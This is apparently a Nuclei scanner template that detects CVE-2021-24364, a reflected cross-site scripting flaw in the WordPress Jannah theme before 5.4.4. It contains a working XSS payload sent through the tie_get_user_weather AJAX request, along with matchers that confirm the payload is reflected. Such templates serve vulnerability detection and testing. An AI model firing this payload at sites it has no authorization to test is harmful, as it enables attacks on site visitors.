id: CVE-2021-24364

info:
  name: WordPress Jannah Theme <5.4.4 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: WordPress Jannah theme before 5.4.4 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the options JSON parameter in its tie_get_user_weather AJAX action before outputting it back in the page.
  reference:
    - https://wpscan.com/vulnerability/1d53fbe5-a879-42ca-a9d3-768a80018382
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24364
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24364
    cwe-id: CWE-79
    cpe: cpe:2.3:a:tielabs:jannah:*:*:*:*:*:*:*:*
    epss-score: 0.00102
  tags: cve,cve2021,wordpress,xss,wp-theme,wpscan
  metadata:
    max-request: 1

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=tie_get_user_weather&options=%7B%27location%27%3A%27Cairo%27%2C%27units%27%3A%27C%27%2C%27forecast_days%27%3A%275%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ecustom_name%27%3A%27Cairo%27%2C%27animated%27%3A%27true%27%7D'

    matchers-condition: and
    matchers:

      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/08/28